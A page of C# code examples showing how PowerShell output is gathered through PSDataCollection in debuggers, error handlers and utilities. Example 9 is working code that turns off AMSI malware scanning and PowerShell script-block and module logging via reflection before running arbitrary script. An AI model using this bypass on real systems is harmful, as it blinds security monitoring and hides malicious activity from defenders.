Ejemplo n.º 1
0
        public List <string> GetDomainEmailAddresses()
        {
            var list = new List <string>();

            using (var ps1 = PowerShell.Create())
            {
                var cmd = Program.Configuration.Email.EmailDomainSearchString;

                if (!string.IsNullOrEmpty(cmd))
                {
                    ps1.AddScript(cmd);

                    _log.Trace(cmd);

                    var outputCollection = new PSDataCollection <PSObject>();
                    outputCollection.DataAdded += OutputCollection_DataAdded;

                    ps1.Streams.Error.DataAdded += Error_DataAdded;
                    var result = ps1.BeginInvoke <PSObject, PSObject>(null, outputCollection);

                    // do something else until execution has completed - could be other work
                    while (result.IsCompleted == false)
                    {
                        Thread.Sleep(1000);
                        // might want to place a timeout here...
                        _log.Trace("Waiting for cmd to complete");
                    }

                    _log.Trace("Execution has stopped. The pipeline state: " + ps1.InvocationStateInfo.State);

                    list.AddRange(outputCollection.Select(outputItem => outputItem.BaseObject.ToString()));
                }
            }
            return(list);
        }
Ejemplo n.º 2
0
        private IEnumerable <T> ExecuteCommandInDebugger <T>(PSCommand command, bool redirectOutput)
        {
            var outputCollection = new PSDataCollection <PSObject>();

            if (redirectOutput)
            {
                outputCollection.DataAdded += (sender, args) =>
                {
                    // Stream script output to console.
                    Execute.OnUIThread(() =>
                    {
                        var output = IoC.Get <IOutput>();

                        foreach (var item in outputCollection.ReadAll())
                        {
                            output.AppendLine(item.ToString());
                        }
                    });
                };
            }

            _runspace.Debugger.ProcessCommand(
                command, outputCollection);

            return
                (outputCollection
                 .Select(pso => pso.ImmediateBaseObject)
                 .Cast <T>());
        }
Ejemplo n.º 3
0
        public IEnumerable <TResult> ExecuteCommandInDebugger <TResult>(
            PowerShellContext powerShellContext,
            Runspace currentRunspace,
            PSCommand psCommand,
            bool sendOutputToHost)
        {
            PSDataCollection <PSObject> outputCollection = new PSDataCollection <PSObject>();

#if !PowerShellv3
            if (sendOutputToHost)
            {
                outputCollection.DataAdded +=
                    (obj, e) =>
                {
                    for (int i = e.Index; i < outputCollection.Count; i++)
                    {
                        powerShellContext.WriteOutput(
                            outputCollection[i].ToString(),
                            true);
                    }
                };
            }

            DebuggerCommandResults commandResults =
                currentRunspace.Debugger.ProcessCommand(
                    psCommand,
                    outputCollection);
#endif

            return
                (outputCollection
                 .Select(pso => pso.BaseObject)
                 .Cast <TResult>());
        }
        private static void CheckErrors(this PowerShell ps, CancellationToken cancellationToken = default(CancellationToken))
        {
            PSDataCollection <ErrorRecord> errors = (ps.Streams == null) ? null : ps.Streams.Error;

            if (errors != null && errors.Count > 0)
            {
                if (errors.Count == 1)
                {
                    throw RestoreCommandNotFoundException(errors[0]);
                }
                else
                {
                    List <Exception>         innerExceptions   = errors.Select(e => RestoreCommandNotFoundException(e)).ToList();
                    CommandNotFoundException notFoundException = innerExceptions.OfType <CommandNotFoundException>().FirstOrDefault();

                    if (notFoundException != null)
                    {
                        throw notFoundException;
                    }
                    else
                    {
                        throw new AggregateException(string.Join(Environment.NewLine, errors.Select(e => e.Exception.Message)), innerExceptions);
                    }
                }
            }

            if (ps.HadErrors)
            {
                cancellationToken.ThrowIfCancellationRequested();                       //	PipelineStoppedException();
                throw new InvalidPowerShellStateException();
            }
        }
Ejemplo n.º 5
0
        public IEnumerable <TResult> ExecuteCommandInDebugger <TResult>(
            PowerShellContext powerShellContext,
            Runspace currentRunspace,
            PSCommand psCommand,
            bool sendOutputToHost,
            out DebuggerResumeAction?debuggerResumeAction)
        {
            debuggerResumeAction = null;
            PSDataCollection <PSObject> outputCollection = new PSDataCollection <PSObject>();

#if !PowerShellv3
            if (sendOutputToHost)
            {
                outputCollection.DataAdded +=
                    (obj, e) =>
                {
                    for (int i = e.Index; i < outputCollection.Count; i++)
                    {
                        powerShellContext.WriteOutput(
                            outputCollection[i].ToString(),
                            true);
                    }
                };
            }

            DebuggerCommandResults commandResults =
                currentRunspace.Debugger.ProcessCommand(
                    psCommand,
                    outputCollection);

            // Pass along the debugger's resume action if the user's
            // command caused one to be returned
            debuggerResumeAction = commandResults.ResumeAction;
#endif

            IEnumerable <TResult> results = null;
            if (typeof(TResult) != typeof(PSObject))
            {
                results =
                    outputCollection
                    .Select(pso => pso.BaseObject)
                    .Cast <TResult>();
            }
            else
            {
                results = outputCollection.Cast <TResult>();
            }

            return(results);
        }
Ejemplo n.º 6
0
        private static IEnumerable <PartitionData> GetWmiPartitions(PSDataCollection <PSObject> results)
        {
            var fromWmi = results
                          .Select(x => x.ImmediateBaseObject)
                          .Select(ToWmiPartition)
                          .Select(wmi => new PartitionData
            {
                Root     = wmi.Root,
                Number   = wmi.Number,
                Guid     = wmi.Guid,
                GptType  = wmi.GptType,
                UniqueId = wmi.UniqueId,
                Size     = wmi.Size,
            });

            return(fromWmi);
        }
Ejemplo n.º 7
0
 private static IList <string> GetErrorMessages(PSDataCollection <ErrorRecord> errors)
 {
     return(errors.Select(err => $"{err.ScriptStackTrace}: {err.Exception.Message}").ToList());
 }
Ejemplo n.º 8
0
        private string CollectAsString(PSDataCollection <ErrorRecord> errors)
        {
            var output = errors.Select(error => error.ToString()).ToList();

            return(string.Join(Environment.NewLine, output));
        }
Ejemplo n.º 9
0
        /// <summary>
        /// Executes specified PowerShell code using System.Management.Automation.dll and bypasses
        /// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging).
        /// </summary>
        /// <param name="PowerShellCode">PowerShell code to execute.</param>
        /// <param name="OutString">Switch. If true, appends Out-String to the PowerShellCode to execute.</param>
        /// <param name="BypassLogging">Switch. If true, bypasses ScriptBlock and Module logging.</param>
        /// <param name="BypassAmsi">Switch. If true, bypasses AMSI.</param>
        /// <returns>Output of executed PowerShell.</returns>
        /// <remarks>
        /// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module
        /// logging bypass goes to Lee Christensen (@_tifkin).
        /// </remarks>
        public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true)
        {
            if (string.IsNullOrEmpty(PowerShellCode))
            {
                return("");
            }

            using (PowerShell ps = PowerShell.Create())
            {
                BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
                if (BypassLogging)
                {
                    var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
                    if (PSEtwLogProvider != null)
                    {
                        var EtwProvider   = PSEtwLogProvider.GetField("etwProvider", flags);
                        var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
                        EtwProvider.SetValue(null, EventProvider);
                    }
                }
                if (BypassAmsi)
                {
                    var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils");
                    if (amsiUtils != null)
                    {
                        amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true);
                    }
                }
                ps.AddScript(PowerShellCode);
                if (OutString)
                {
                    ps.AddCommand("Out-String");
                }
                PSDataCollection <object> results = new PSDataCollection <object>();
                ps.Streams.Error.DataAdded += (sender, e) =>
                {
                    Console.WriteLine("Error");
                    foreach (ErrorRecord er in ps.Streams.Error.ReadAll())
                    {
                        results.Add(er);
                    }
                };
                ps.Streams.Verbose.DataAdded += (sender, e) =>
                {
                    foreach (VerboseRecord vr in ps.Streams.Verbose.ReadAll())
                    {
                        results.Add(vr);
                    }
                };
                ps.Streams.Debug.DataAdded += (sender, e) =>
                {
                    foreach (DebugRecord dr in ps.Streams.Debug.ReadAll())
                    {
                        results.Add(dr);
                    }
                };
                ps.Streams.Warning.DataAdded += (sender, e) =>
                {
                    foreach (WarningRecord wr in ps.Streams.Warning)
                    {
                        results.Add(wr);
                    }
                };
                ps.Invoke(null, results);
                string output = string.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray());
                ps.Commands.Clear();
                return(output);
            }
        }
Ejemplo n.º 10
0
 public static List <IPowerShellCommandMetadata> Convert(PSDataCollection <CommandMetadata> collection)
 {
     return(collection.Select(x => new PowerShellCommandMetadata(x))
            .ToList <IPowerShellCommandMetadata>());
 }
Ejemplo n.º 11
0
 public static List <IPowerShellModule> Convert(PSDataCollection <PSModuleInfo> collection)
 {
     return(collection.Select(x => new PowerShellModule(x))
            .ToList <IPowerShellModule>());
 }
Ejemplo n.º 12
0
        private IEnumerable <TResult> ExecuteCommandInDebugger <TResult>(PSCommand psCommand, bool sendOutputToHost)
        {
            IEnumerable <TResult> executionResult = null;

            if (PowerShellVersion >= new Version(4, 0))
            {
#if PowerShellv4 || PowerShellv5
                PSDataCollection <PSObject> outputCollection = new PSDataCollection <PSObject>();

                if (sendOutputToHost)
                {
                    outputCollection.DataAdded +=
                        (obj, e) =>
                    {
                        for (int i = e.Index; i < outputCollection.Count; i++)
                        {
                            this.WriteOutput(outputCollection[i].ToString(), true);
                        }
                    };
                }

                DebuggerCommandResults commandResults =
                    this.currentRunspace.Debugger.ProcessCommand(
                        psCommand,
                        outputCollection);

                // If the command was a debugger action, run it
                if (commandResults.ResumeAction.HasValue)
                {
                    this.ResumeDebugger(commandResults.ResumeAction.Value);
                }

                executionResult =
                    outputCollection
                    .Select(pso => pso.BaseObject)
                    .Cast <TResult>();
#endif
            }
            else
            {
                using (var nestedPipeline = this.currentRunspace.CreateNestedPipeline())
                {
                    foreach (var command in psCommand.Commands)
                    {
                        nestedPipeline.Commands.Add(command);
                    }

                    executionResult =
                        nestedPipeline
                        .Invoke()
                        .Select(pso => pso.BaseObject)
                        .Cast <TResult>();
                }

                // Write the output to the host if necessary
                if (sendOutputToHost)
                {
                    foreach (var line in executionResult)
                    {
                        this.WriteOutput(line.ToString(), true);
                    }
                }
            }

            return(executionResult);
        }